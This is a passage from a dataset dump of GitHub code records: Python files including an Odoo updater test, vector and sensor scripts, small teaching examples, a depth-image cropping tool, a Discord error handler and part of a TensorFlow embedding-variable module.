updater does not disturb normal operation\n cmd = [\n sys.executable,\n \"-m\",\n \"click_odoo_contrib.update\",\n \"--watcher-max-seconds\",\n \"30\",\n \"-d\",\n odoodb,\n ]\n subprocess.check_call(cmd)\n # TODO Test an actual lock\n","repo_name":"acsone/click-odoo-contrib","sub_path":"tests/test_update.py","file_name":"test_update.py","file_ext":"py","file_size_in_byte":5147,"program_lang":"python","lang":"en","doc_type":"code","stars":83,"dataset":"github-code","pt":"31"} +{"seq_id":"21423133855","text":"import datetime\nimport time\nimport os\nimport sys, getopt\nimport random\nfrom collections import defaultdict\nimport pandas as pd\nimport numpy as np\nfrom multiprocessing import Process\nfrom functools import reduce\nimport struct\n\nFOLDER_NAME_BASE ='/home/pensees/feature_compare/card_72_csv'\n#FOLDER_NAME_BASE ='/home/pensees/feature_compare/capture_csv_bak'\nFOLDER_NAME_CMP ='/home/pensees/feature_compare/capture_csv_bak'\nFILE_VET_GT='l2_results0.npy'\nALL = False\n# CSV = False\nCSV = True\nUINT8 = False\n# UINT8 = True\n\n\n\ndef load_vec_csv(file_name):\n if CSV==True:\n data = pd.read_csv(file_name,header=None)\n data = np.array(data)\n else:\n data = np.load(file_name)\n if UINT8==True:\n data = (data+0.5)/255\n vec_list = []\n nb = len(data)\n for i in range(nb):\n vec_list.append(data[i].tolist())\n return vec_list\n\ndef calInnerDistance(vec1,vec2):\n vec1 = np.array(vec1)\n vec2 = np.array(vec2)\n dist = np.inner(vec1,vec2)\n return dist\n\ndef compare(base,v_cmp):\n base_file = FOLDER_NAME_BASE + '/' + base +\".csv\"\n print(base_file)\n vec1 = load_vec_csv(base_file)\n if v_cmp!=None:\n v_cmp_file = FOLDER_NAME_CMP + '/' + v_cmp +\".csv\"\n print(v_cmp_file)\n vec2 = load_vec_csv(v_cmp_file)\n dist = calInnerDistance(vec1,vec2)\n print(dist[0][0])\n return\n data = np.load(FILE_VET_GT)\n vec_list = data.tolist()\n print(len(vec_list))\n for vec2 in vec_list:\n dist = calInnerDistance(vec1,vec2)\n print(dist[0])\n \n\n\ndef main():\n try:\n opts, args = getopt.getopt(\n sys.argv[1:],\n \"hb:c:p\",\n [\"help\", \"base=\", \"cmp=\", \"compare\"],\n )\n except getopt.GetoptError:\n print(\"Usage: test.py -q -k -t -l -s\")\n sys.exit(2)\n base = None\n v_cmp = None\n for opt_name, opt_value in opts:\n if opt_name in (\"-h\", \"--help\"):\n print(\"test.py -q -k -t
    -l -s\")\n sys.exit()\n elif opt_name in (\"-b\", \"--base\"):\n base = opt_value\n elif opt_name in (\"-c\", \"--cmp\"):\n v_cmp = opt_value\n elif opt_name in (\"-p\", \"--compare\"): #test.py -q -k -l\n compare(base,v_cmp)\n sys.exit()\nif __name__ == '__main__':\n main()\n","repo_name":"shiyu22/source_code","sub_path":"csy/py/vec_compare.py","file_name":"vec_compare.py","file_ext":"py","file_size_in_byte":2360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"43099858555","text":"import aht20\nimport bmp280\nimport sys\n\n\nbmp280 = bmp280.BMP280(0x77, 1)\nbmp280.init()\n\naht20 = aht20.AHT20(0x38, 1)\naht20.init()\n\nwhile True:\n _ = sys.stdin.readline()\n aht20_humidity, aht20_temperature = aht20.measure()\n line = \"sensors,name=aht20 temperature=%.2f,humidity=%.2f\\n\"\n sys.stdout.write(line % (aht20_temperature, aht20_humidity))\n bmp280_pressure, bmp280_temperature = bmp280.measure()\n line = \"sensors,name=bmp280 temperature=%.2f,pressure=%.2f\\n\"\n sys.stdout.write(line % (bmp280_temperature, bmp280_pressure))\n sys.stdout.flush()\n","repo_name":"marcv81-test/sensors-stats","sub_path":"sensors_stats.py","file_name":"sensors_stats.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"3990330532","text":"\"\"\"\n* Filtrando a lista, aplico filter com função lambda verificando se o elemento é par. Caso True, adiciona à lista.\n\"\"\"\nlista = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\n# com lambda\nprint(list(filter(lambda x: x % 2 == 0, lista)))\n\n\ndef par(num):\n if num % 2 == 0:\n return True\n\n\n# com função\nprint(list(filter(par, lista)))\n","repo_name":"MarcosAllysson/python-do-basico-ao-avancado","sub_path":"Funções embutidas/filter.py","file_name":"filter.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"27361088104","text":"# 1. Написать генератор нечётных чисел от 1 до n (включительно), используя ключевое слово yield\n# -------------Решение----------------\n\n# Создаем функцию с генератором\ndef odd_nums(max_num):\n for num in range(1, max_num + 1, 2):\n yield num\n\n\n# Проверяем\nodd_to_15 = odd_nums(15)\nprint(next(odd_to_15))\nprint(next(odd_to_15))\n\n\n# 2. * (вместо 1) Решить задачу генерации нечётных чисел от 1 до n (включительно), не используя ключевое слово yield.\n# -------------Решение----------------\n# Создаем функцию с генератором\ndef gen(max_num):\n return (i for i in range(1, max_num + 1, 2))\n\n\n# Проверяем\ngen_to_15 = gen(15)\nprint(next(gen_to_15))\nprint(next(gen_to_15))\n","repo_name":"AADogov/GeekBrainsLesson5","sub_path":"GeekBrainsLesson_5_1_and_5_2.py","file_name":"GeekBrainsLesson_5_1_and_5_2.py","file_ext":"py","file_size_in_byte":905,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"37523986122","text":"import os\nimport json\nimport base64\nimport numpy as np\nfrom plyfile import PlyData\nimport io\nimport cv2\nimport matplotlib.pyplot as plt\n\ndrawing = False\ntop_left_pt, bottom_right_pt = (-1, -1), (-1, -1)\n\ndef draw_rectangle(event, x, y, flags, param):\n global drawing, top_left_pt, bottom_right_pt\n if event == cv2.EVENT_LBUTTONDOWN:\n drawing = True\n top_left_pt = (x, y)\n elif event == cv2.EVENT_LBUTTONUP:\n drawing = False\n bottom_right_pt = (x, y)\n cv2.rectangle(param, top_left_pt, bottom_right_pt, (0, 255, 0), 2)\n cv2.imshow('Draw Bounding Box', param)\n\ndef process_gltf_file(file_path, person_count, gltf_count, save_folder):\n\n try:\n with open(file_path, 'r') as f:\n gltf_data = json.load(f)\n except Exception as e:\n print(f\"Error loading GLTF: {e}\")\n return\n\n try:\n data_uri = gltf_data[\"meshes\"][0][\"extras\"][\"dataURI\"]\n except (KeyError, IndexError) as e:\n print(f\"Couldn't find the necessary data in the GLTF file: {e}\")\n return\n\n base64_data = data_uri.split(\",\")[-1]\n decoded_data = base64.b64decode(base64_data)\n buffer = io.BytesIO(decoded_data)\n\n try:\n plydata = PlyData.read(buffer)\n except Exception as e:\n print(f\"Error reading PLY data: {e}\")\n return\n\n \n #print(plydata)\n import numpy as np\n\n #projection matrix\n P = np.array([[1052.667867276341, 0, 962.4130834944134, 0],\n [0, 1052.020917785721, 536.2206151001486, 0],\n [0, 0, 1, 0]])\n\n scale_factor = 1000\n downsample_factor = 1000\n\n if 'vertex' in plydata:\n\n\n vertex_element = plydata['vertex']\n x = vertex_element['x']\n y = vertex_element['y']\n z = vertex_element['z']\n\n points_3d = np.array([x, y, z, np.ones_like(x)])\n points_2d_hom = np.dot(P, points_3d)\n points_2d = points_2d_hom[:2, :] / points_2d_hom[2, :]\n\n x_proj = points_2d[0, :]\n y_proj = points_2d[1, :]\n\n # Round to reduce the range\n x_scaled = np.round(x_proj * scale_factor).astype(int)\n y_scaled = np.round(y_proj * scale_factor).astype(int)\n\n x_scaled = (x_scaled // downsample_factor)\n y_scaled = (y_scaled // downsample_factor)\n\n x_min, x_max = x_scaled.min(), x_scaled.max()\n y_min, y_max = y_scaled.min(), y_scaled.max()\n\n depth = np.zeros((y_max - y_min + 1, x_max - x_min + 1), dtype=np.float32)\n\n for i in range(len(x)):\n x_idx = x_scaled[i] - x_min\n y_idx = y_scaled[i] - y_min\n depth[y_idx, x_idx] = z[i]\n\n print(\"Depth array created with shape:\", depth.shape)\n\n \n original_depth = np.copy(depth)\n original_depth = np.flipud(original_depth)\n depth_normalized = ((depth - np.nanmin(depth)) / (np.nanmax(depth) - np.nanmin(depth))) * 255\n depth_normalized = depth_normalized.astype(np.uint8)\n depth_normalized = np.flipud(depth_normalized)\n depth_colored = plt.cm.magma(depth_normalized)\n \n depth_colored = (depth_colored[:, :, :3] * 255).astype(np.uint8)\n depth_colored = cv2.cvtColor(depth_colored, cv2.COLOR_RGB2BGR)\n clone = depth_colored.copy()\n cv2.namedWindow('Draw Bounding Box', cv2.WINDOW_NORMAL)\n cv2.resizeWindow('Draw Bounding Box', 800, 600)\n cv2.setMouseCallback('Draw Bounding Box', draw_rectangle, clone)\n # clone = depth_normalized.copy()\n # cv2.namedWindow('Draw Bounding Box', cv2.WINDOW_NORMAL)\n # cv2.resizeWindow('Draw Bounding Box', 800, 600)\n # cv2.setMouseCallback('Draw Bounding Box', draw_rectangle, clone)\n\n while True:\n cv2.imshow('Draw Bounding Box', clone)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n x1, y1 = top_left_pt\n x2, y2 = bottom_right_pt\n w = x2 - x1\n h = y2 - y1\n face_region_depth = original_depth[y1:y1+h, x1:x1+w]\n \n # cropped_original = original_depth[y1:y2, x1:x2]\n # cropped_normalized = normalized_depth[y1:y2, x1:x2]\n\n while True: \n plt.imshow(face_region_depth, cmap='magma')\n plt.title(\"Cropped Depth Face Image\")\n plt.show()\n\n user_input = input(\"Are you satisfied with the bounding box? (y)/n): \")\n if user_input.lower() == 'y':\n break \n elif user_input.lower() == 'n':\n # clone = depth_normalized.copy()\n # cv2.namedWindow('Draw Bounding Box', cv2.WINDOW_NORMAL)\n # cv2.resizeWindow('Draw Bounding Box', 800, 600)\n # cv2.setMouseCallback('Draw Bounding Box', draw_rectangle, clone)\n depth_colored = plt.cm.magma(depth_normalized)\n depth_colored = (depth_colored[:, :, :3] * 255).astype(np.uint8)\n depth_colored = cv2.cvtColor(depth_colored, cv2.COLOR_RGB2BGR)\n clone = depth_colored.copy()\n cv2.namedWindow('Draw Bounding Box', cv2.WINDOW_NORMAL)\n cv2.resizeWindow('Draw Bounding Box', 800, 600)\n cv2.setMouseCallback('Draw Bounding Box', draw_rectangle, clone)\n\n while True:\n cv2.imshow('Draw Bounding Box', clone)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n x1, y1 = top_left_pt\n x2, y2 = bottom_right_pt\n w = x2 - x1\n h = y2 - y1\n face_region_depth = original_depth[y1:y1+h, x1:x1+w]\n\n # #Display the normalized depth image using OpenCV\n # cv2.imshow('Depth Image', depth_normalized)\n # cv2.waitKey(0)\n # cv2.destroyAllWindows()\n\n print(face_region_depth)\n depth_image_folder = os.path.join(save_folder, str(person_count).zfill(3))\n depth_numpy_folder = os.path.join(save_folder, str(person_count).zfill(3))\n if not os.path.exists(depth_image_folder):\n os.makedirs(depth_image_folder)\n\n depth_image_path = os.path.join(depth_image_folder, f\"{str(person_count).zfill(3)}_{str(gltf_count).zfill(2)}_depth_image.png\")\n plt.imsave(depth_image_path, face_region_depth, cmap='magma')\n print(depth_image_path)\n if not os.path.exists(depth_numpy_folder):\n os.makedirs(depth_numpy_folder)\n\n depth_numpy_path = os.path.join(depth_numpy_folder, f\"{str(person_count).zfill(3)}_{str(gltf_count).zfill(2)}_depth_data.npy\")\n np.save(depth_numpy_path, face_region_depth)\n\n\nif __name__ == \"__main__\":\n root_folder = \"new_entries/test\" \n save_folder = \"new_entries/dataset_numpy_test\" \n\n for person_folder in sorted(os.listdir(root_folder)):\n person_path = os.path.join(root_folder, person_folder)\n if os.path.isdir(person_path):\n person_count = person_folder\n\n for gltf_file in sorted(os.listdir(person_path)):\n if gltf_file.endswith('.gltf'):\n gltf_count = gltf_file.split('.')[0]\n file_path = os.path.join(person_path, gltf_file)\n process_gltf_file(file_path, person_count, gltf_count, save_folder)","repo_name":"aliagha135/depth_face_recognition","sub_path":"Gltf/bounding_box_2.py","file_name":"bounding_box_2.py","file_ext":"py","file_size_in_byte":7078,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"39024772173","text":"from discord.ext import commands\nimport discord\nimport traceback\n\nfrom utils import template\nimport utils.errors as errors\n\n\nclass Error(commands.Cog):\n \"\"\"Handles errors related to the bot.\"\"\"\n\n def __init__(self, bot):\n self.bot = bot\n\n @commands.Cog.listener()\n async def on_command_error(self, ctx, error):\n if isinstance(error, (discord.ext.commands.errors.CommandNotFound, discord.errors.Forbidden)):\n return\n if isinstance(error, commands.CheckFailure):\n return await ctx.send(\n embed=template.error('You don\\'t have permission to use this command'),\n reference=ctx.message\n )\n try:\n if isinstance(error.original, errors.CustomError):\n return await ctx.send(\n embed=error.original.embed,\n reference=ctx.message\n )\n except AttributeError:\n pass\n if isinstance(error, (commands.errors.MissingRequiredArgument, errors.MissingArgument)):\n msg = str(error) if str(error) else 'Missing required argument'\n await ctx.send(embed=template.error(msg))\n tb = traceback.format_exception(type(error), error, error.__traceback__)\n tb_str = ''.join(tb[:-1]) + f'\\n{tb[-1]}'\n message = await self.bot.owner.send(embed=template.error(f'```{tb_str}```', ctx.message.jump_url))\n await ctx.channel.send(embed=template.error('Internal Error, report submitted.', message.jump_url))\n\n\nasync def setup(bot):\n await bot.wait_until_ready()\n await bot.add_cog(Error(bot))\n","repo_name":"RNG21/warframe-giveaways","sub_path":"cogs/errorhandle.py","file_name":"errorhandle.py","file_ext":"py","file_size_in_byte":1615,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"36897423332","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport abc\nimport enum # pylint: disable=g-bad-import-order\nimport itertools\nimport functools\nimport os\nimport six\n\nfrom tensorflow.core.framework import attr_value_pb2\nfrom tensorflow.core.framework import variable_pb2\nfrom tensorflow.core.framework.embedding import config_pb2\nfrom tensorflow.python import pywrap_tensorflow\nfrom tensorflow.python.compat import compat as fwd_compat\nfrom tensorflow.python.eager import context\nfrom tensorflow.python.framework import dtypes\nfrom tensorflow.python.framework import ops\nfrom tensorflow.python.framework import tensor_shape\nfrom tensorflow.python.lib.io import file_io\nfrom tensorflow.python.ops import array_ops\nfrom tensorflow.python.ops import control_flow_ops\nfrom tensorflow.python.ops import gen_array_ops\nfrom tensorflow.python.ops import gen_state_ops\nfrom tensorflow.python.ops import gen_math_ops\nfrom tensorflow.python.ops import math_ops\nfrom tensorflow.python.ops import state_ops\nfrom tensorflow.python.ops import gen_kv_variable_ops\nfrom tensorflow.python.platform import tf_logging as logging\nfrom tensorflow.python.training.tracking import base as trackable\nfrom tensorflow.python.util import compat\nfrom tensorflow.python.util import object_identity\nfrom tensorflow.python.util import tf_should_use\nfrom tensorflow.python.util.deprecation import deprecated\nfrom tensorflow.python.util.tf_export import tf_export\n\n\ndef default_variable_creator(_, **kwds):\n del kwds\n raise NotImplementedError(\"variable_scope needs to be imported\")\n\n\ndef default_variable_creator_v2(_, **kwds):\n del kwds\n raise NotImplementedError(\"variable_scope needs to be imported\")\n\n\ndef _make_getter(captured_getter, captured_previous):\n \"\"\"To avoid capturing loop variables.\"\"\"\n\n def getter(**kwargs):\n return captured_getter(captured_previous, **kwargs)\n\n return getter\n\n\n@tf_export(\"VariableSynchronization\")\nclass VariableSynchronization(enum.Enum):\n \"\"\"Indicates when a distributed variable will be synced.\n\n * `AUTO`: Indicates that the synchronization will be determined by the current\n `DistributionStrategy` (eg. With `MirroredStrategy` this would be\n `ON_WRITE`).\n * `NONE`: Indicates that there will only be one copy of the variable, so\n there is no need to sync.\n * `ON_WRITE`: Indicates that the variable will be updated across devices\n every time it is written.\n * `ON_READ`: Indicates that the variable will be aggregated across devices\n when it is read (eg. when checkpointing or when evaluating an op that uses\n the variable).\n \"\"\"\n AUTO = 0\n NONE = 1\n ON_WRITE = 2\n ON_READ = 3\n\n\n# LINT.IfChange\n@tf_export(\"VariableAggregation\", v1=[])\nclass VariableAggregationV2(enum.Enum):\n \"\"\"Indicates how a distributed variable will be aggregated.\n\n `tf.distribute.Strategy` distributes a model by making multiple copies\n (called \"replicas\") acting data-parallel on different elements of the input\n batch. When performing some variable-update operation, say\n `var.assign_add(x)`, in a model, we need to resolve how to combine the\n different values for `x` computed in the different replicas.\n\n * `NONE`: This is the default, giving an error if you use a\n variable-update operation with multiple replicas.\n * `SUM`: Add the updates across replicas.\n * `MEAN`: Take the arithmetic mean (\"average\") of the updates across replicas.\n * `ONLY_FIRST_REPLICA`: This is for when every replica is performing the same\n update, but we only want to perform the update once. Used, e.g., for the\n global step counter.\n \"\"\"\n NONE = 0\n SUM = 1\n MEAN = 2\n ONLY_FIRST_REPLICA = 3\n\n def __hash__(self):\n return hash(self.value)\n\n def __eq__(self, other):\n if self is other:\n return True\n elif isinstance(other, VariableAggregation):\n return int(self.value) == int(other.value)\n else:\n return False\n\n\n@tf_export(v1=[\"VariableAggregation\"])\nclass VariableAggregation(enum.Enum):\n NONE = 0\n SUM = 1\n MEAN = 2\n ONLY_FIRST_REPLICA = 3\n ONLY_FIRST_TOWER = 3 # DEPRECATED\n\n def __hash__(self):\n return hash(self.value)\n\n\n# LINT.ThenChange(//tensorflow/core/framework/variable.proto)\n#\n# Note that we are currently relying on the integer values of the Python enums\n# matching the integer values of the proto enums.\n\nVariableAggregation.__doc__ = (\n VariableAggregationV2.__doc__ +\n \"* `ONLY_FIRST_TOWER`: Deprecated alias for `ONLY_FIRST_REPLICA`.\\n \")\n\n\ndef validate_synchronization_aggregation_trainable(synchronization, aggregation,\n trainable, name):\n \"\"\"Given user-provided variable properties, sets defaults and validates.\"\"\"\n if aggregation is None:\n aggregation = VariableAggregation.NONE\n else:\n if not isinstance(aggregation,\n (VariableAggregation, VariableAggregationV2)):\n try:\n aggregation = VariableAggregationV2(aggregation)\n except ValueError:\n raise ValueError(\n \"Invalid variable aggregation mode: {} for variable: {}\".format(\n aggregation, name))\n if synchronization is None:\n synchronization = VariableSynchronization.AUTO\n else:\n try:\n synchronization = VariableSynchronization(synchronization)\n except ValueError:\n raise ValueError(\n \"Invalid variable synchronization mode: {} for variable: {}\".format(\n synchronization, name))\n if trainable is None:\n trainable = synchronization != VariableSynchronization.ON_READ\n return synchronization, aggregation, trainable\n\n@tf_export(v1=[\"InitializerOption\"])\nclass InitializerOption(object):\n def __init__(self,\n initializer = None,\n default_value_dim = 4096,\n default_value_no_permission = .0):\n self.initializer = initializer\n self.default_value_dim = default_value_dim\n self.default_value_no_permission = default_value_no_permission\n if default_value_dim <=0:\n print(\"default value dim must larger than 1, the default value dim is set to default 4096.\")\n default_value_dim = 4096\n \nclass MultihashOption(object):\n def __init__(self,\n num_of_partitions = None,\n strategy=\"\",\n operation=\"\",\n size = []):\n self.num_of_partitions = num_of_partitions\n self.strategy = strategy\n self.operation = operation\n self.size = size\n\n@tf_export(v1=[\"GlobalStepEvict\"])\nclass GlobalStepEvict(object):\n def __init__(self,\n steps_to_live = None):\n self.steps_to_live = steps_to_live\n\n@tf_export(v1=[\"L2WeightEvict\"])\nclass L2WeightEvict(object):\n def __init__(self,\n l2_weight_threshold = -1.0):\n self.l2_weight_threshold = l2_weight_threshold\n if l2_weight_threshold <= 0 and l2_weight_threshold != -1.0:\n logging.warning(\"l2_weight_threshold is invalid, l2_weight-based eviction is disabled\")\n\n@tf_export(v1=[\"CheckpointOption\"])\nclass CheckpointOption(object):\n def __init__(self,\n ckpt_to_load_from=None,\n tensor_name_in_ckpt=None,\n always_load_from_specific_ckpt=False,\n init_data_source=None):\n self.ckpt_to_load_from = ckpt_to_load_from\n self.tensor_name_in_ckpt = tensor_name_in_ckpt\n self.always_load_from_specific_ckpt = always_load_from_specific_ckpt\n self.init_data_source = init_data_source\n\n@tf_export(v1=[\"StorageOption\"])\nclass StorageOption(object):\n def __init__(self,\n storage_type=None,\n storage_path=None,\n storage_size=[1024*1024*1024],\n cache_strategy = config_pb2.CacheStrategy.LFU,\n layout=None):\n self.storage_type = storage_type\n self.storage_path = storage_path\n self.storage_size = storage_size\n self.cache_strategy = cache_strategy\n self.layout = layout\n if not isinstance(storage_size, list):\n raise ValueError(\"storage_size should be list type\")\n if len(storage_size) < 4:\n for i in range(len(storage_size), 4):\n storage_size.append(1024*1024*1024)\n if storage_path is not None:\n if storage_type is None:\n raise ValueError(\"storage_type musnt'be None when storage_path is set\")\n else:\n if not file_io.file_exists(storage_path):\n file_io.recursive_create_dir(storage_path)\n else:\n if storage_type is not None and storage_type in [config_pb2.StorageType.LEVELDB,\n config_pb2.StorageType.SSDHASH,\n config_pb2.StorageType.DRAM_SSDHASH,\n config_pb2.StorageType.DRAM_LEVELDB]:\n raise ValueError(\"storage_path musnt'be None when storage_type is set\")\n\n@tf_export(v1=[\"EmbeddingVariableOption\"])\nclass EmbeddingVariableOption(object):\n def __init__(self,\n ht_type=\"\",\n ht_partition_num = 1000,\n evict_option = None,\n ckpt = None,\n filter_option = None,\n storage_option = StorageOption(),\n init_option = InitializerOption()):\n self.ht_type = ht_type\n self.ht_partition_num = ht_partition_num\n self.evict = evict_option\n self.ckpt = ckpt\n self.filter_strategy = filter_option\n self.storage_option = storage_option\n self.init = init_option\n \n@tf_export(v1=[\"CounterFilter\"])\nclass CounterFilter(object):\n def __init__(self, filter_freq = 0):\n self.filter_freq = filter_freq\n\n@tf_export(v1=[\"CBFFilter\"])\nclass CBFFilter(object):\n def __init__(self,\n filter_freq = 0,\n max_element_size = 0,\n false_positive_probability = -1.0,\n counter_type = dtypes.uint64):\n if false_positive_probability != -1.0:\n if false_positive_probability <= 0.0:\n raise ValueError(\"false_positive_probablity must larger than 0\")\n else:\n if max_element_size <= 0:\n raise ValueError(\"max_element_size must larger than 0 when false_positive_probability is not -1.0\")\n else:\n if max_element_size != 0:\n raise ValueError(\"max_element_size can't be set when false_probability is -1.0\")\n self.max_element_size = max_element_size\n self.false_positive_probability = false_positive_probability\n self.counter_type = counter_type\n self.filter_freq = filter_freq\n\nclass EmbeddingVariableConfig(object):\n def __init__(self,\n steps_to_live=None, steps_to_live_l2reg=None,\n l2reg_theta=None, l2reg_lambda=None,\n l2_weight_threshold = -1.0,\n ht_type=None,\n filter_strategy=None,\n ckpt_to_load_from=None,\n tensor_name_in_ckpt=None,\n always_load_from_specific_ckpt=False,\n init_data_source=None,\n handle_name=None,\n emb_index=None,\n slot_index=None,\n block_num=None,\n primary=None,\n slot_num=None,\n storage_type=config_pb2.StorageType.DRAM,\n storage_path=None,\n storage_size=None,\n storage_cache_strategy=config_pb2.CacheStrategy.LFU,\n layout=None,\n default_value_dim=4096,\n default_value_no_permission=.0):\n self.steps_to_live = steps_to_live\n self.steps_to_live_l2reg = steps_to_live_l2reg\n self.l2reg_theta = l2reg_theta\n self.l2reg_lambda = l2reg_lambda\n self.ckpt_to_load_from = ckpt_to_load_from\n self.tensor_name_in_ckpt = tensor_name_in_ckpt\n self.always_load_from_specific_ckpt = always_load_from_specific_ckpt\n self.init_data_source = init_data_source\n self.handle_name = handle_name\n self.emb_index = emb_index\n self.slot_index = slot_index\n self.block_num = block_num\n self.primary = primary\n self.slot_num = slot_num\n self.ht_type = ht_type\n self.l2_weight_threshold = l2_weight_threshold\n self.filter_strategy = filter_strategy\n self.storage_type = storage_type\n self.storage_path = storage_path\n self.storage_size = storage_size\n self.storage_cache_strategy = storage_cache_strategy\n self.layout = layout\n self.default_value_dim = default_value_dim\n self.default_value_no_permission = default_value_no_permission\n\n def reveal(self):\n if self.steps_to_live is None:\n self.steps_to_live = 0\n if self.steps_to_live_l2reg is None:\n self.steps_to_live_l2reg = 0\n if self.l2reg_theta is None:\n self.l2reg_theta = 0\n if self.l2reg_lambda is None:\n self.l2reg_lambda = 0\n if self.ht_type is None:\n self.ht_type = ''\n if self.emb_index is None:\n self.emb_index = 0\n if self.slot_index is None:\n self.slot_index = 0\n\nclass VariableMetaclass(type):\n \"\"\"Metaclass to allow construction of tf.Variable to be overridden.\"\"\"\n\n def _variable_v1_call(cls,\n initial_value=None,\n trainable=None,\n collections=None,\n validate_shape=True,\n caching_device=None,\n name=None,\n variable_def=None,\n dtype=None,\n embedding_block_num=None,\n expected_shape=None,\n import_scope=None,\n constraint=None,\n use_resource=None,\n synchronization=VariableSynchronization.AUTO,\n aggregation=VariableAggregation.NONE,\n shape=None,\n invalid_key=None,\n evconfig=EmbeddingVariableConfig(),\n embedding_initializer=None,\n ht_partition_num=1000):\n \"\"\"Call on Variable class. Useful to force the signature.\"\"\"\n previous_getter = lambda **kwargs: default_variable_creator(None, **kwargs)\n for _, getter in ops.get_default_graph()._variable_creator_stack: # pylint: disable=protected-access\n previous_getter = _make_getter(getter, previous_getter)\n\n # Reset `aggregation` that is explicitly set as `None` to the enum NONE.\n if aggregation is None:\n aggregation = VariableAggregation.NONE\n return previous_getter(\n initial_value=initial_value,\n trainable=trainable,\n collections=collections,\n validate_shape=validate_shape,\n caching_device=caching_device,\n name=name,\n variable_def=variable_def,\n dtype=dtype,\n embedding_block_num=embedding_block_num,\n expected_shape=expected_shape,\n import_scope=import_scope,\n constraint=constraint,\n use_resource=use_resource,\n synchronization=synchronization,\n aggregation=aggregation,\n shape=shape,\n invalid_key=invalid_key,\n evconfig=evconfig,\n embedding_initializer=embedding_initializer,\n ht_partition_num=ht_partition_num)\n\n def _variable_v2_call(cls,\n initial_value=None,\n trainable=None,\n validate_shape=True,\n caching_device=None,\n name=None,\n variable_def=None,\n dtype=None,\n import_scope=None,\n constraint=None,\n synchronization=VariableSynchronization.AUTO,\n aggregation=VariableAggregation.NONE,\n shape=None):\n \"\"\"Call on Variable class. Useful to force the signature.\"\"\"\n previous_getter = lambda **kws: default_variable_creator_v2(None, **kws)\n for _, getter in ops.get_default_graph()._variable_creator_stack: # pylint: disable=protected-access\n previous_getter = _make_getter(getter, previous_getter)\n\n # Reset `aggregation` that is explicitly set as `None` to the enum NONE.\n if aggregation is None:\n aggregation = VariableAggregation.NONE\n return previous_getter(\n initial_value=initial_value,\n trainable=trainable,\n validate_shape=validate_shape,\n caching_device=caching_device,\n name=name,\n variable_def=variable_def,\n dtype=dtype,\n import_scope=import_scope,\n constraint=constraint,\n synchronization=synchronization,\n aggregation=aggregation,\n shape=shape)\n\n def __call__(cls, *args, **kwargs):\n if cls is VariableV1:\n return cls._variable_v1_call(*args, **kwargs)\n elif cls is Variable:\n return cls._variable_v2_call(*args, **kwargs)\n else:\n return super(VariableMetaclass, cls).__call__(*args, **kwargs)\n\n\n@tf_export(\"Variable\", v1=[])\nclass Variable(six.with_metaclass(VariableMetaclass, trackable.Trackable)):\n \"\"\"See the [Variables Guide](https://tensorflow.org/guide/variables).\n\n A variable maintains state in the graph across calls to `run()`. You add a\n variable to the graph by constructing an instance of the class `Variable`.\n\n The `Variable()` constructor requires an initial value for the variable,\n which can be a `Tensor` of any type and shape. The initial value defines the\n type and shape of the variable. After construction, the type and shape of\n the variable are fixed. The value can be changed using one of the assign\n methods.\n\n If you want to change the shape of a variable later you have to use an\n `assign` Op with `validate_shape=False`.\n\n Just like any `Tensor`, variables created with `Variable()` can be used as\n inputs for other Ops in the graph. Additionally, all the operators\n overloaded for the `Tensor` class are carried over to variables, so you can\n also add nodes to the graph by just doing arithmetic on variables.\n\n ```python\n import tensorflow as tf\n\n # Create a variable.\n w = tf.Variable(, name=)\n\n # Use the variable in the graph like any Tensor.\n y = tf.matmul(w, ...another variable or tensor...)\n\n # The overloaded operators are available too.\n z = tf.sigmoid(w + y)\n\n # Assign a new value to the variable with `assign()` or a related method.\n w.assign(w + 1.0)\n w.assign_add(1.0)\n ```\n\n When you launch the graph, variables have to be explicitly initialized before\n you can run Ops that use their value. You can initialize a variable by\n running its *initializer op*, restoring the variable from a save file, or\n simply running an `assign` Op that assigns a value to the variable. In fact,\n the variable *initializer op* is just an `assign` Op that assigns the\n variable's initial value to the variable itself.\n\n ```python\n # Launch the graph in a session.\n with tf.compat.v1.Session() as sess:\n # Run the variable initializer.\n sess.run(w.initializer)\n # ...you now can run ops that use the value of 'w'...\n ```\n\n The most common initialization pattern is to use the convenience function\n `global_variables_initializer()` to add an Op to the graph that initializes\n all the variables. You then run that Op after launching the graph.\n\n ```python\n # Add an Op to initialize global variables.\n init_op = tf.compat.v1.global_variables_initializer()\n\n # Launch the graph in a session.\n with tf.compat.v1.Session() as sess:\n # Run the Op that initializes global variables.\n sess.run(init_op)\n # ...you can now run any Op that uses variable values...\n ```\n\n If you need to create a variable with an initial value dependent on another\n variable, use the other variable's `initialized_value()`. This ensures that\n variables are initialized in the right order.\n\n All variables are automatically collected in the graph where they are\n created. By default, the constructor adds the new variable to the graph\n collection `GraphKeys.GLOBAL_VARIABLES`. The convenience function\n `global_variables()` returns the contents of that collection.\n\n When building a machine learning model it is often convenient to distinguish\n between variables holding the trainable model parameters and other variables\n such as a `global step` variable used to count training steps. To make this\n easier, the variable constructor supports a `trainable=` parameter. If\n `True`, the new variable is also added to the graph collection\n `GraphKeys.TRAINABLE_VARIABLES`. The convenience function\n `trainable_variables()` returns the contents of this collection. The\n various `Optimizer` classes use this collection as the default list of\n variables to optimize.\n \"\"\"\n\n def __init__(self,\n initial_value=None,\n trainable=None,\n validate_shape=True,\n caching_device=None,\n name=None,\n variable_def=None,\n dtype=None,\n import_scope=None,\n constraint=None,\n synchronization=VariableSynchronization.AUTO,\n aggregation=VariableAggregation.NONE,\n shape=None):\n \"\"\"Creates a new variable with value `initial_value`.\n\n The new variable is added to the graph collections listed in `collections`,\n which defaults to `[GraphKeys.GLOBAL_VARIABLES]`.\n\n If `trainable` is `True` the variable is also added to the 